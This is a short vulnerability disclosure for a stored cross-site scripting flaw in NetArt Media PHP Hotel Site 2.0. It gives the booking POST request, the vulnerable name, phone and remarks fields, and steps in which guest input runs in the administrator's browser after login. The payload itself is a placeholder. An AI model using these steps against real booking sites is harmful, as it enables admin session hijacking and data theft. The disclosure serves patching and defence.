NetArt Media PHP Hotel Site 2.0 Cross Site Scripting

`┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││ C r a C k E r ┌┘  
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ [ Vulnerability ] ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
: Author : CraCkEr :  
│ Website : https://www.netartmedia.net/php-hotel-booking │  
│ Vendor : NetArt Media │  
│ Software : PHP Hotel Site 2.0 │  
│ Vuln Type: Stored XSS │  
│ Impact : Manipulate the content of the site │  
│ │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│ ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
: :  
│ Release Notes: │  
│ ═════════════ │  
│ Allow Attacker to inject malicious code into website, give ability to steal sensitive │  
│ information, manipulate data, and launch additional attacks. │  
│ │  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
Greets:  
  
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09   
  
CryptoJob (Twitter) twitter.com/0x0CryptoJob  
  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ © CraCkEr 2023 ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
  
## Stored XSS  
  
-----------------------------------------------  
POST /booking/index.php HTTP/2  
  
page=book&id=0&room_code=F753N132&room_name=Standard+double+room&price=&start_time=1687237200&end_time=1687410000&nights=&ProceedBooking=1&name=[XSS Payload]&email=abc%40abc.com&phone=[XSS Payload]&code=28649&remarks=[XSS Payload]  
-----------------------------------------------  
  
POST parameter 'name' is vulnerable to XSS  
POST parameter 'phone' is vulnerable to XSS  
POST parameter 'remarks' is vulnerable to XSS  
  
  
## Steps to Reproduce:  
  
1. At the index page Search for your Booking (as Guest)  
2. Select any Room by Press [Book Now]  
3. Inject your [XSS Payload] in "Name"  
4. Inject your [XSS Payload] in "Phone"  
5. Inject your [XSS Payload] in "Remarks "  
6. Press [Book Now] to Submit You will receive to (Thank you. You'll receive an email when your booking is confirmed.)  
  
6. When the Admin Login to the Administration Panel on this Path (https://website/booking/admin/index.php)  
7. XSS will Fire & Executed on his Browser Instantly After the Login  
  
[-] Done  
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